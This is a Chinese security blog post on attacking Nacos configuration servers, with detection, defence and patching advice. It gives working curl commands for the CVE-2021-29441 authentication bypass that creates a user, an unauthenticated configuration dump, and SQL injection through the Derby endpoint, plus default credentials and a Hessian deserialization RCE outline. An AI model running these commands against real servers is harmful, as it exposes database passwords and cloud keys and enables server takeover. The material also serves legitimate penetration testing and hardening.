Nacos 漏洞利用实战（未授权/认证绕过/反序列化）

Sat, 29 Aug 2026 19:00:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK，读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心，生产里常存数据库密码、AK/SK、Token。它的问题集中在几类：

1
2
3
4
5


1. 默认/弱口令（nacos/nacos、nacos/admin）
2. 认证绕过（CVE-2021-29441，User-Agent/请求头伪造）
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质：配置中心是高价值目标，却常被默认配置暴露在公网。

二、影响与危害

1
2
3


数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级：高到严重（配置中心=全家桶钥匙）。

三、利用 / 复现

1. 默认口令登录

1
2


http://目标:8848/nacos
账号：nacos / nacos（老版本 admin/admin）

2. 认证绕过（CVE-2021-29441）

1
2
3


# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
 -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2


# 读取配置（需确认版本鉴权情况）
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2


# 内置 Derby 数据库存在 SQL 注入，可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3


Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

复现操作步骤

1
2
3
4
5


第 1 步：访问 /nacos，试默认口令 nacos/nacos —— 能登录即弱口令
第 2 步：带请求头 User-Agent: Nacos-Server 试认证绕过创建用户
第 3 步：探测 /nacos/v1/cs/configs 未授权读配置
第 4 步：按版本试 Derby 注入 / Hessian 反序列化
第 5 步：读到密钥或命令执行 → 确认漏洞，记录影响

四、检测

1
2
3
4


指纹：8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE（含 Hessian 链）

五、防御

1
2
3
4
5


修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露，Nacos 走内网
最小化开放端口（8848/9848/7848）
对配置中心做网络隔离

六、修复

1
2
3
4


升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测：未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”：拿到配置中心，等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿，务必归入资产清单重点排查。

Nacos on SoulJian小站